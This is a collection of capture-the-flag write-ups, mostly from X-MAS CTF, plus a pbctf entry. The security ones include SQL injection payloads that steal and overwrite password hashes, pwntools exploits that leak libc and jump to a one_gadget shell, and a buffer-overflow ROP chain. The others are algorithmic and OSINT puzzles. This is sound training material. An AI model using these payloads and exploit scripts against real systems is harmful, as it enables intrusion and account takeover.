The password is passed in a complex function that I assumed to be an hash algorithm since at the end an hex digest is built. At the end username and password are passed to a function which is used to craft an sql query to insert the new record.

Here again some strings are treated as long value but what is important is that nothing seems to be broken here. Almost the same procedure is built around the login functionality.
The juicy part comes with the second block:
First things first the code does a check on the username. If `kks_santa` has logged in the loop breaks and we can go into the third block of code otherwise we reach the user private menu. Without discussing too much let's focus on the vulnerable part since we already faced most of the reversing problem we encountered during this long reverse.

The send message procedure asks us for a receiver and a message. The receiver is passed via the same checks username is passed into and then the insert query is made.

The query is simply `INSERT INTO messages(to_user, letter) VALUES (%s, %s)` and then the values are interpolated. The problem is that only the username is checked. We can make an sqli to take control over the database.
Let's think about a way to gain `kks_santa` credentials: we can steal the hash but we should also reverse it and we don't know the algorithm used.. But we can also overwrite the santa hash wit our own value and use the same password!
Let's craft the payloads:```"); INSERT INTO messages(to_user, letter) SELECT "drw0if", password FROM users WHERE username="drw0if"; -- #```We can use this payload to stel our hash and exfiltrate it from the inbox functionality. Let's try it:
Our hash is: `5f4dcc3b5aa765d61d8327deb882cf99`
Let's use it to replace everyone's hash:```"); UPDATE users SET password="5f4dcc3b5aa765d61d8327deb882cf99"; -- #```

Now we should be able to login as `kks_santa` with password `password`Let's try it:

We also gained the first flag since in the third block of the handler code a function is called to retrieve a key from the database and display it.
### Part 2:
The third block of code starts with the first flag print. then a new menu is printed with some new feature for example the "show all messages" (it's a scam, lol) and `relax`.

The loop breaks when local_20 is 0x80 and local_a is 'k'. local_a is the "variable" that stores our choice, local_20 is never used here but is passed to the relax option handler as reference.

This funcionality increments the "beer" counter and if it reaches some values we are greeted with different comments. Let's increment that counter with a simple copy paste of `python -c "print '4\n'*0x80"` output.
Last part of the handler code is a basic shell built upon `popen` function. So we gained a partial RCE.

Let's have a loop at the suid files:```bash$ find / -perm /4000/usr/bin/newgrp/usr/bin/passwd/usr/bin/gpasswd/usr/bin/su/usr/bin/chsh/usr/bin/chfn/usr/bin/mount/usr/bin/umount/home/santa/secret```
No privesc seems to be available here but the last file is interesting. Let's execute it:
```bash$ /home/santa/secretThis incident will be sent to the main Santa. I'll say you've been bad this year.```
Let's exfiltrate it via base64 encoding:
```bashcat /home/santa/secret | base64```
The file is provided by this repo. Opening it into Ghidra it is really easy to understand:

So all we need to do is to execute the binary with the variable set:
```bash$ SECRET_TOKEN_ENV="4lm057_d0n3" /home/santa/secretkks{w0w_y0u_4r3_7h3_r007_s4n74_6u7_did_y0u_74k3_411_7h3_pr353n75}$```
### Part 3:
Let's have a quick look at all the other files with "find".The last one listed seems to be coherent with the challenge description

```bash$ cat /gifts/gift_for_you/flag.txt:,5[m9mTre9mT)]9iP/19mT6S9iOi5:2NES>&%1s9mT)\=aF+c:23dT9giK;:01SE:3pDr:3p&h:K1A39mU;q:/kD59mT5a=__(p:3pP/:I.-,$```
I got stuck here for a while since `kusky` started working with me on this challenge. Using cyberchef he decrypted it with the following recipe:

In the end it was a wonderful challenge and we learnt a lot, starting from sqlite3 syntax to encoding techniques to binary exfiltration in a pseudo shell.
PS. we dumped the full /server directory except from database so if you want to make your attempts feel free to use this repo. |
Category: Hardware Points: 354 Author: trupples Description:
The elves and I have been working on some christmas lights to aid Santa in landing back home in the fog. (You have NO IDEA how much we pay in repairs every few years) Check them out! https://www.youtube.com/watch?v=162DpMTMfMI |
# Least Greatest (500 points)
## Description
Today in Santa's course in Introduction to Algorithms, Santa told us about the greatest common divisor and the least common multiple.He this gave the following problem as homework and I don't know how to solve it.Can you please help me with it?
Target: nc challs.xmas.htsp.ro 6050
Authors: Gabies, Nutu
## Solution
```shell$ nc challs.xmas.htsp.ro 6050Hey, you there! You look like you know your way with complex alogrithms.There's this weird task that I can't get my head around. It goes something like this:Given two numbers g and l, tell me how many pairs of numbers (x, y) exist such that gcd(x, y) = g and lcm(x, y) = lAlso, i have to answer 100 such questions in at most 90 seconds.
Test number: 1/100gcd(x, y) = 87641lcm(x, y) = 750862998151937487679256930365054379979841```
I found a ready-made function for the same task: [link](https://www.geeksforgeeks.org/given-gcd-g-lcm-l-find-number-possible-pairs-b/). But this code gave errors on 3-4 tests. It was only necessary to add a second slash to divide large integers. Here is the finished code:
```pythonfrom pwn import *
conn = remote('challs.xmas.htsp.ro', 6050)
def totalPrimeFactors(n): count = 0;
if ((n % 2) == 0): count += 1; while ((n % 2) == 0): n //= 2; i = 3; while (i * i <= n): if ((n % i) == 0): count += 1; while ((n % i) == 0): n //= i; i += 2;
if (n > 2): count += 1; return count; def countPairs(G, L): if (L % G != 0): return 0; div = int(L // G);
return (1 << totalPrimeFactors(div));
conn.recvuntil("Test number")
for x in range (100): conn.recvuntil("gcd(x, y) = ") g = conn.recvline() conn.recvuntil("lcm(x, y) = ") l = conn.recvline()
payload = countPairs(int(g), int(l)) conn.sendline(str(int(payload))) print(x+1, conn.recvline().decode("utf-8"))
conn.interactive()```
```shell[*] Switching to interactive modeWow, you really know this kind of weird math?Here's your flag: X-MAS{gr347es7_c0mm0n_d1v1s0r_4nd_l345t_c0mmon_mult1pl3_4r3_1n73rc0nn3ct3d}[*] Got EOF while reading in interactive```
Flag: X-MAS{gr347es7_c0mm0n_d1v1s0r_4nd_l345t_c0mmon_mult1pl3_4r3_1n73rc0nn3ct3d} |
# Data Recovery 1
**Category**: OSINT \**Points**: 50
## Description
Find Email Of The RSSI Of Random Corp.
## Solution
We were provided with a post `RSSI` of a company `Random Corp.`
As we all know the best place to look up for companies and thier employee is `Lindedin`. So i searched on linkedin `RSSI Random Corp.` and the first profile was for us

Looked deep into her profile but there was no email mentioned in her profile. so i looked up for a website that can gather emails from a profileand `https://skrapp.io/app/email-finder` worked for me

we got the email !!!
FLAG : `H2G2{[email protected]}` |
# Santa's consolation (500 points)
## Description
Santa's been sending his regards; he would like to know who will still want to hack stuff after his CTF is over.
Note: Bluuk is a multilingual bug bounty platform that will launch soon and we've prepared a challenge for you. Subscribe and stay tuned!
Target: https://bluuk.io
Author: littlewho
## Solution
```javascriptconsole.log("? Javascript Challenge ?");console.log("Call win(<string>) with the correct parameter to get the flag");console.log("And don't forget to subscribe to our newsletter :D");
function check(s) { const k = "MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg=="; const k1 = atob(k).split('').reverse().join(''); return bobify(s) === k1;}
function bobify(s) { if (~s.indexOf('a') || ~s.indexOf('t') || ~s.indexOf('e') || ~s.indexOf('i') || ~s.indexOf('z')) return "[REDACTED]"; const s1 = s.replace(/4/g, 'a').replace(/3/g, 'e').replace(/1/g, 'i').replace(/7/g, 't').replace(/_/g, 'z').split('').join('[]'); const s2 = encodeURI(s1).split('').map(c => c.charCodeAt(0)).join('|'); const s3 = btoa("D@\xc0\t1\x03\xd3M4" + s2); return s3;}
function win(x) { return check(x) ? "X-MAS{" + x + "}" : "[REDACTED]";}```
We need to decode "k" from base64 and reverse. Then I decided to decode the resulting string from base64 again:
```textD@À 1.ÓM4115|37|53|66|37|53|68|97|37|53|66|37|53|68|110|37|53|66|37|53|68|116|37|53|66|37|53|68|97|37|53|66|37|53|68|122|37|53|66|37|53|68|119|37|53|66|37|53|68|105|37|53|66|37|53|68|115|37|53|66|37|53|68|104|37|53|66|37|53|68|101|37|53|66|37|53|68|115|37|53|66|37|53|68|122|37|53|66|37|53|68|121|37|53|66|37|53|68|48|37|53|66|37|53|68|117|37|53|66|37|53|68|122|37|53|66|37|53|68|99|37|53|66|37|53|68|114|37|53|66|37|53|68|97|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|117|37|53|66|37|53|68|110|37|53|66|37|53|68|122|37|53|66|37|53|68|102|37|53|66|37|53|68|101|37|53|66|37|53|68|114|37|53|66|37|53|68|105|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|116```
Then i decoded it from decimal:
```texts%5B%5Da%5B%5Dn%5B%5Dt%5B%5Da%5B%5Dz%5B%5Dw%5B%5Di%5B%5Ds%5B%5Dh%5B%5De%5B%5Ds%5B%5Dz%5B%5Dy%5B%5D0%5B%5Du%5B%5Dz%5B%5Dc%5B%5Dr%5B%5Da%5B%5Dc%5B%5Di%5B%5Du%5B%5Dn%5B%5Dz%5B%5Df%5B%5De%5B%5Dr%5B%5Di%5B%5Dc%5B%5Di%5B%5Dt```
And url decode for now:
```texts[]a[]n[]t[]a[]z[]w[]i[]s[]h[]e[]s[]z[]y[]0[]u[]z[]c[]r[]a[]c[]i[]u[]n[]z[]f[]e[]r[]i[]c[]i[]t```
So, lets get rid of unnecessary symbols ("[" and "]"), then change some symbols which are specified in the function **bobify** and provide it to win function to check whether the flag is true:
```texts4n74_w1sh3s_y0u_cr4c1un_f3r1c17```
Flag: X-MAS{s4n74_w1sh3s_y0u_cr4c1un_f3r1c17} |
# lil wishes db [359]SOLVED
I don't want a lot for Christmas!
RCE is all I need
I don't care about protections
Underneath the RSP
**Target**: nc challs.xmas.htsp.ro 2002
**Author**: Th3R4nd0m
**Files**: lil_wishes_db.zip
##### The library used in the solution code is [`pwnscripts`](https://github.com/152334H/pwnscripts)## Inspection```shRELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILEFull RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 chall```The only thing good here is that FORTIFY is off.
The binary provides a 4 option CLI menu:```Choose:1.Swap IDs2.Print database3.Insert ID4.Exit```The loop for the menu is vaguely: ```cint print_db(__int64 *db) { for (int i = 0; i <= 7; ++i) printf("ID[%d] = %llu\n", i, db[i]);}int swapIDs(unsigned __int16 id1, unsigned __int16 id2, __int64 *s) { __int64 tmp = s[id1]; s[id1] = s[id2]; s[id2] = tmp;}int main() { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); __int64 db[9]; // [rsp+20h] [rbp-50h] this is the "database" memset(db, 0, 0x40uLL); int keep_running = 1; puts("Wishes database\n"); while (keep_running) { puts("Choose:\n1.Swap IDs\n2.Print database\n3.Insert ID\n4.Exit\n\nOption: "); int opt, ind1, ind2; scanf("%d", &opt;; puts(&nul;; switch (opt) { case 2: print_db(db); break; case 3: unsigned index; puts("Index: "); scanf("%d", &index); if ( index <= 7 ) { // unsigned --> unbugged puts("Value: "); scanf("%llu", &db[index]); } else puts("Index should not be > 8"); break; case 4: keep_running = 0; break; case 1: puts("Index 1:"); scanf("%d", &ind1); puts("Index 2:"); scanf("%d", &ind2); if ( ind1 <= 7 && ind2 <= 7 ) // lack of ind >= 0 check! swapIDs((unsigned __int16)ind1, (unsigned __int16)ind2, db); //unsigned index overflow! break; default: puts("Please choose one of the above"); } puts(&nul;; } puts("Merry Christmas!"); return 0LL;}```Option 1 is **bugged** with the ability to swap with any index within the range of a `uint16_t`. The exploit framework for this is rather simple:0. use the swap bug to get a libc address in `db[0:8]`, then leak it with option 2.1. Write a rop chain to `db[0:8]` with option 3.2. Use the swap bug to shift it over to the return pointer & thereafter3. exit & let ROP work out.
## Exploiting
We'll start by mapping out all of the options as python functions:```pythonfrom pwnscripts import *context.binary = 'chall'context.libc_database = 'libc-database'context.libc = 'libc.so.6'r = remote('challs.xmas.htsp.ro', 2002)def opt(v): r.sendlineafter('Option: \n', str(v))def swap(id1, id2): opt(1) r.sendlineafter('Index 1:\n', str(id1)) r.sendlineafter('Index 2:\n', str(id2))def printIDs(): opt(2) r.recvline() return [int(r.recvline().strip().split(b'= ')[-1]) for i in range(8)]def insert(ID, v): opt(3) r.sendlineafter('Index: \n', str(ID)) r.sendlineafter('Value: \n', str(v))def rexit(): opt(4)```To leak libc, we'll grab the value of `__libc_start_main_ret` (libc-db symbol) from the return pointer of the function frame:```pythondef negID(v): return u32(p16(v)+b'\x00\xf0', sign=True) # cheap way to exploit swap()rtr_ind = 0x58//8 # db[] is at rbp-0x50.swap(0,negID(rtr_ind))context.libc.calc_base('__libc_start_main_ret', printIDs()[0])```Then, we'll just return to a `one_gadget`, which is particularly easy in this case (the requirement, `[rsp-0x40]==NULL`, is pre-fulfilled):```pythoninsert(0,context.libc.select_gadget(1))swap(0, negID(rtr_ind))rexit()r.interactive()```I tried making a ROP chain for `system(libc_binsh_str)` as a more sensible method of exploiting the binary, but kept getting errors (`SIGSEGV` with `rax == 0x10000001`) during execution. Not entirely sure why.
In any case, the `one_gadget` worked fine:```pythonMerry Christmas!$ ls[DEBUG] Sent 0x3 bytes: b'ls\n'[DEBUG] Received 0x5e bytes: b'bin\n' b'boot\n' b'dev\n' b'etc\n' b'home\n'...```## Flag`X-MAS{oh_nooo_y0u_ru1ned_the_xmas}` |
# Many Paths [205] PointsSOLVED
Today in Santa's course in Advanced Graph Algorithms, Santa told us about the adjacency matrix of an undirected graph. I'm sure this last problem, he gave us is unsolvable, but I don't know much, maybe you do.
**Target**: nc challs.xmas.htsp.ro 6053
**Authors**: Gabies, Nutu
## Problem solving```sh$ nc challs.xmas.htsp.ro 6053I swear that Santa is going crazy with those problems, this time we're really screwed!The new problem asks us the following:Given an undirected graph of size N by its adjacency matrix and a set of forbidden nodes, tell me how many paths from node 1 to node N of exactly length L that don't pass through any of the forbidden nodes exist (please note that a node can be visited multiple times)?And if that wasn't enough, we need to answer 40 of those problems in 45 seconds and to give each output modulo 666013. What does that even mean!?```Given a graph of size N && its adjacency matrix && a set of untraversable nodes, we're tasked to find the number of length-L walks between the starting node (1) and the final node (N).
Let's consider a few cases.```Test number: 1/40N = 3adjacency matrix:0,0,00,0,00,0,0forbidden nodes: [2]L = 3```In this case, the answer is 0, because the graph has no edges.```N = 5adjacency matrix:0,0,1,0,10,0,0,1,11,0,0,1,10,1,1,0,11,1,1,1,0forbidden nodes: []L = 3```For this example, the valid walks are `[3-4-5, 3-1-5, 5-1-5, 5-2-5, 5-3-5, 5-4-5]`, making the answer 6. Solving that one by-hand took nearly 45 seconds; how can this be implemented quickly?
Googling provides a [nice](https://math.stackexchange.com/questions/2009493/finding-number-of-distinct-walks-between-two-vertices-in-a-graph-using-matrix-mu) [algorithm](https://math.stackexchange.com/questions/2009493/finding-number-of-distinct-walks-between-two-vertices-in-a-graph-using-matrix-mu): raising the given adjacency matrix by power `L`, the number of walks between node 1 and node N will be the value at `[1,N]` (1-indexed) in the exponented matrix.
Or in simpler terms,```for N,adjacency_matrix,forbidden_nodes,L in every case: for node in forbidden_nodes: adjacency_matrix.remove_edges(node) adjacency_matrix **= L adjacency_matrix %= 666013 yield adjacency_matrix[1,N]```To handle the i/o, we'll use `pwntools` && `re.findall` to handle basic parsing:```pythonfrom pwn import *from re import findallr = remote('challs.xmas.htsp.ro', 6053)def getallints(): return map(int,findall(b'[0-9]+', r.recvline()))for i in range(40): print(r.recvuntil('/40\n')) N = next(getallints()) r.recvline() adj_m = Matrix([list(getallints()) for _ in range(N)]) # 0-indexed for forbid in getallints(): # remove edges to forbidden node for i in range(N): adj_m[forbid-1,i] = adj_m[i,forbid-1] = 0 pathm = modexp(adj_m, 666013, next(getallints()))```We'll get `Matrix()` from `sympy`, and we'll implement modulo'd exponentation of matrices via a home-baked exponentation-by-squaring method:```pythonfrom sympy import *from math import log2,floordef modexp(M,m,e): exponentations = [M,M%m] if e < 1: raise ValueError('exponent too small!') for i in range(2,floor(log2(e))+2): exponentations.append((exponentations[i-1]**2)%m) return prod(exponentations[i+1] for i,b in enumerate(bin(e)[:1:-1]) if b=='1')%m```That's the algorithm done. All we need to do is to run it:```python$ python3 proggraph.py[+] Opening connection to challs.xmas.htsp.ro on port 6053: Done...b'\nGood, thats right!\nTest number: 36/40\n'[DEBUG] Received 0x5c bytes: b',0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,1,0\n' b'forbidden nodes: [10,7,8]\n' b'L = 44380\n' b'\n'[DEBUG] Sent 0x6 bytes: b'98205\n'Traceback (most recent call last): File "proggraph.py", line 14, in <module> print(r.recvuntil('/40\n')) File "/pwntools/pwnlib/tubes/tube.py", line 333, in recvuntil res = self.recv(timeout=self.timeout) File "/pwntools/pwnlib/tubes/tube.py", line 105, in recv return self._recv(numb, timeout) or b'' File "/pwntools/pwnlib/tubes/tube.py", line 183, in _recv if not self.buffer and not self._fillbuffer(timeout): File "/pwntools/pwnlib/tubes/tube.py", line 154, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/pwntools/pwnlib/tubes/sock.py", line 58, in recv_raw raise EOFErrorEOFError```Uh oh.## Speeding things upThe algorithm itself is probably optimal enough, considering it *almost* reaches the last few test cases. I had a few ideas on how to shave off a few seconds:1. Attempt to run the script in pypy ```python $ pypy3 proggraph.py [+] Opening connection to challs.xmas.htsp.ro on port 6053: Done b'\nGood, thats right!\nTest number: 38/40\n' [DEBUG] Sent 0x6 bytes: b'61781\n' Traceback (most recent call last): File "proggraph.py", line 14, in <module> print(r.recvuntil('/40\n')) ``` That's an improvement, but still not enough. I attempted to switch to pypy2 for even more speed, but this was troublesome because pypy-pip was stripped from the ubuntu repos a while back.2. Try to shift to a faster matrix library like numpy I put a significant amount of effort into this, but numpy matrices broke my algorithm somehow. Not sure what happened here.3. Rewrite everything in a faster language This looked like a really fun thing to do, so I did just that:```c#include <math.h>#include <stdlib.h>#include <stdio.h>#define ind(M,y,x) M.data[(y)*M.N+(x)]#define for_xy_in_(M) for (int y = 0; y < M.N; y++) for (int x = 0; x < M.N; x++)typedef struct Matrix { long long *data; int N;} Matrix;void pprint(Matrix M) { for_xy_in_(M) printf(x+1 == M.N ? "%d\n" : "%d,", ind(M,y,x));}Matrix mod_inplace(Matrix M, int mod) { // in place for (int i = 0; i < M.N; i++) { for (int j = 0; j < M.N; j++) ind(M,i,j) %= mod; } return M;}Matrix square(Matrix M) { //creates new one Matrix squared = { .data = calloc(M.N*M.N,sizeof(long long)), .N = M.N}; for_xy_in_(M) { for (int k = 0; k < M.N; k++) ind(squared,y,x) += ind(M,y,k)*ind(M,k,x); } return squared;}Matrix identity(int N){ Matrix iden = {.data = calloc(N*N, sizeof(long long)), .N = N}; for (int i = 0; i < N; i++) ind(iden,i,i) = 1; return iden;}Matrix mul(Matrix M, Matrix other) { // creates new, assumes equal length. Matrix prod = { .data = calloc(M.N*M.N,sizeof(long long)), .N = M.N}; for_xy_in_(M) { for (int k = 0; k < M.N; k++) ind(prod,y,x) += ind(M,y,k)*ind(other,k,x); } return prod;}Matrix modexp(Matrix M, int mod, int e) { int binmax = floor(log2(e))+2; Matrix *expts = calloc(binmax, sizeof(Matrix)); expts[0] = M; expts[1] = mod_inplace(M,mod); //nothing new for (int i = 2; i < binmax; i++) { expts[i] = mod_inplace(square(expts[i-1]),mod); //creates new } Matrix total = identity(M.N); // creates new for (int i = 0; i < binmax; i++) { if (e&(1<<i)) { Matrix prod = mod_inplace(mul(total,expts[i+1]),mod); // creates new free(total.data); total = prod; } } for (int i = 2; i < binmax; i++) free(expts[i].data); return total;}int main(){ //spaghetti code for i/o int N; scanf("N = %d",&N); Matrix adj_m = {.data = calloc(N*N, sizeof(long long)), .N = N}; while (getchar() != ':'); getchar(); for_xy_in_(adj_m) { scanf("%d", &ind(adj_m,y,x)); getchar(); } while (getchar() != ':'); char line[5000], tmp[5000]; fgets(line, 5000, stdin); int forbid = 0; while (sscanf(line,"%[^0123456789]%s",tmp,line)>1 || sscanf(line,"%d%s",&forbid,line)) { if (tmp[0]=='\0') { // number found for (int i = 0; i < N; i++) ind(adj_m,forbid-1,i) = ind(adj_m,i,forbid-1) = 0; } *tmp = 0; } int L; scanf("L = %d", &L); Matrix pathm = modexp(adj_m, 666013, L); free(adj_m.data); printf("%d\n", ind(pathm,0,N-1)); free(pathm.data);}```This program will take the input for a single test case && print out the answer. To instrument this, I used python's `subprocess` module to get the answer for all 40 test cases:```pythonfrom pwn import *from subprocess import check_outputr = remote('challs.xmas.htsp.ro', 6053)for i in range(40): r.recvuntil('/40\n') text = r.recvuntil('L') + r.recvline() ans = check_output(['./a.out'], input=text) r.send(ans)r.interactive()```With that, we're done:```sh$ gcc matrix.c -O2 -lm$ python3.8 instrument.py [+] Opening connection to challs.xmas.htsp.ro on port 6053: Done[*] Switching to interactive mode
Good, thats right!I cannot believe you figured this one out, how does this code even work?I'm baffled, here's the flag: ```## Flag`X-MAS{n0b0dy_3xp3c73d_th3_m47r1x_3xp0n3n71a7i0n}` |
# pbctf 2020
## Amazing ROP
> 38>> Should be a baby ROP challenge. Just need to follow direction and get first flag.>> `nc maze.chal.perfect.blue 1`>> By: theKidOfArcrania> > [bof](bof) [bof.c](bof.c)
Tags: _pwn_ _x86_ _bof_ _rop_
## Summary
Interesting baby ROP that if you just _follow direction_ with a little bit of work you'll get the flag.
> port 1, lol, amazing.
## Analysis
### Checksec
``` Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled```
All mitigations except canary in place, not unexpected since the name of the challenge is _Amazing ROP_ and the name of the binary is `bof`. So I guess we BOF and ROP.
### Read the source
```cvoid vuln() { int secret = 0xdeadbeef; char padding[16]; char buff[32];
show_color = prompt("Do you want color in the visualization? (Y/n) ", 1);
memset(buff, 0, sizeof(buff)); // Zero-out the buffer. memset(padding, 0xFF, sizeof(padding)); // Zero-out the padding.
// Initializes the stack visualization. Don't worry about it! init_visualize(buff);
// Prints out the stack before modification visualize(buff);
printf("Input some text: ");
gets(buff); // This is a vulnerable call!
// Prints out the stack after modification visualize(buff);
// Check if secret has changed. if (secret == 0x67616c66) { puts("You did it! Congratuations!"); // print_flag(); // Print out the flag. You deserve it. (not anymore) printf("Returning to address: %p\n", (&secret)[4]); return; } else if (secret != 0xdeadbeef) { puts("Wow you overflowed the secret value! Now try controlling the value of it!"); } else { puts("Maybe you haven't overflowed enough characters? Try again?"); }
exit(0);}```
`gets` _is_ the _vulnerable call_, and if there were any doubts, it is pointed out in the source.
Clearly we have to change `secret` to `0x67616c66` (ASCII for `flag`, sadly, I've seen that number too many times, its burned into my brain), if so, then `print_flag()` is called, except that it isn't because it's commented out. However...
```c// This is what you need to do to get the first flag// void print_flag() {// asm volatile("mov $1, %%eax; mov $0x31337, %%edi; mov $0x1337, %%esi; int3" ::: "eax");// }```
We have the source, we just need a few ROP gadgets to print the flag.
### Give it a run
```# ./bofDo you want color in the visualization? (Y/n) [1] 24763 segmentation fault ./bof```
Hmmm... not good, let's take a look with Ghidra.
### Decompile with Ghidra
`main` calls a function `safeguard` before `vuln`, the interesting bits below:
```c __pid = fork(); if (__pid == 0) { ptrace(PTRACE_TRACEME,0,0,0,0); install_seccomp(); return; } if (__pid < 0) { perror("fork()"); exit(1); } __stream = fopen("passwds","r");```
So, two things to take away:
1. We get forked and seccomp'd.2. We need to create a bogus file `passwds`.
If we `touch passwds`, the segfault goes away, now we can get to work, but what about seccomp?
```bash# seccomp-tools dump ./bof line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x07 0x40000003 if (A != ARCH_I386) goto 0009 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x06 0x00 0x00000003 if (A == read) goto 0010 0004: 0x15 0x05 0x00 0x00000004 if (A == write) goto 0010 0005: 0x15 0x04 0x00 0x000000c5 if (A == fstat64) goto 0010 0006: 0x15 0x03 0x00 0x0000002d if (A == brk) goto 0010 0007: 0x15 0x02 0x00 0x00000001 if (A == exit) goto 0010 0008: 0x15 0x01 0x00 0x000000fc if (A == exit_group) goto 0010 0009: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW```
That's pretty grim. Best if we just stick to the advice in the source (which, BTW, will have the initial process print the flag--this is a pretty cool challenge).
Since we're already in Ghidra, might as well get the `vuln` stack diagram:
```undefined AL:1 <RETURN>undefined4 Stack[0x0]:4 local_res0undefined4 Stack[-0x8]:4 local_8int Stack[-0x10]:4 secretchar[16] Stack[-0x20]:16 paddingchar[32] Stack[-0x40]:32 buff```
To overwrite `secret` with `flag`, we need to send `0x40 - 0x10` (48) bytes followed by `flag`.
### Give it a run (again)
```bash# ./bofDo you want color in the visualization? (Y/n) n
0xff8bed2c | 00 00 00 00 00 00 00 00 |0xff8bed34 | 00 00 00 00 00 00 00 00 |0xff8bed3c | 00 00 00 00 00 00 00 00 |0xff8bed44 | 00 00 00 00 00 00 00 00 |0xff8bed4c | ff ff ff ff ff ff ff ff |0xff8bed54 | ff ff ff ff ff ff ff ff |0xff8bed5c | ef be ad de 5c 9f 5f 56 |0xff8bed64 | 5c 9f 5f 56 78 ed 8b ff |0xff8bed6c | 99 65 5f 56 90 ed 8b ff |0xff8bed74 | 00 00 00 00 00 00 00 00 |Input some text: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag
0xff8bed2c | 41 41 41 41 41 41 41 41 |0xff8bed34 | 41 41 41 41 41 41 41 41 |0xff8bed3c | 41 41 41 41 41 41 41 41 |0xff8bed44 | 41 41 41 41 41 41 41 41 |0xff8bed4c | 41 41 41 41 41 41 41 41 |0xff8bed54 | 41 41 41 41 41 41 41 41 |0xff8bed5c | 66 6c 61 67 00 9f 5f 56 |0xff8bed64 | 5c 9f 5f 56 78 ed 8b ff |0xff8bed6c | 99 65 5f 56 90 ed 8b ff |0xff8bed74 | 00 00 00 00 00 00 00 00 |You did it! Congratuations!Returning to address: 0x565f6599```
The challenge author kindly provided a stack dump; we do not even have to use GDB with this.
We can scrape the return address (back to `main`) from the first stack dump (before `Input some text:`) to compute the base process address--required for our ROP chain. Just look 10 lines down to:
```0xff8bed6c | 99 65 5f 56 90 ed 8b ff |```
### Let's go shopping
Lastly, we need to find the ROP gadgets that satisfies:
```c// This is what you need to do to get the first flag// void print_flag() {// asm volatile("mov $1, %%eax; mov $0x31337, %%edi; mov $0x1337, %%esi; int3" ::: "eax");// }```
`ropper --file bof` found `0x00001396: pop esi; pop edi; pop ebp; ret;` that will satisfy `edi` and `esi`, however, `ropper` did not find `ret3` or anything useful for `eax`. After taking a quick look with `objdump -M intel -d bof` I found:
```assembly 13ad: 58 pop eax 13ae: cc int3 13af: c3 ret```
We have everything we need.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./bof')
if args.REMOTE: p = remote('maze.chal.perfect.blue', 1)else: p = process(binary.path)
'''// This is what you need to do to get the first flag// void print_flag() {// asm volatile("mov $1, %%eax; mov $0x31337, %%edi; mov $0x1337, %%esi; int3" ::: "eax");// }'''
# 0x00001396: pop esi; pop edi; pop ebp; ret;binary.symbols['pop_esi_edi_edp'] = 0x00001396
# ropper did not find this''' 13ad: 58 pop eax 13ae: cc int3 13af: c3 ret'''binary.symbols['pop_eax_int3'] = 0x13ad```
The lines `binary.symbols['pop_esi_edi_edp'] = 0x00001396` and `binary.symbols['pop_eax_int3'] = 0x13ad` add symbols to our symbol table so we can reference them by name. This also makes it easier to do the address math, since after we leak the base process address and set `binary.address`, then there's nothing else to do but use by symbol.
```pythonp.sendlineafter('Do you want color in the visualization? (Y/n) ', 'n')
for i in range(10): _ = p.recvline().strip().decode().split(' ')
return_addr = int(''.join(_[2:6][::-1]),16)log.info('return_addr: ' + hex(return_addr))binary.address = return_addr - ((return_addr & 0xFFF) - (binary.sym.main & 0xFFF)) - binary.sym.mainlog.info('binary.address: ' + hex(binary.address))```
Skip to the 10th line and get the return address from the stack dump and use that to compute the base process address.
```pythonpayload = b''payload += (0x40 - 0x10) * b'A'payload += b'flag'payload += (0x40 - len(payload)) * b'A'payload += p32(binary.sym.pop_esi_edi_edp)payload += p32(0x1337)payload += p32(0x31337)payload += p32(0xdeadba5e)payload += p32(binary.sym.pop_eax_int3)payload += p32(1)
p.sendlineafter('Input some text: ', payload)p.stream()```
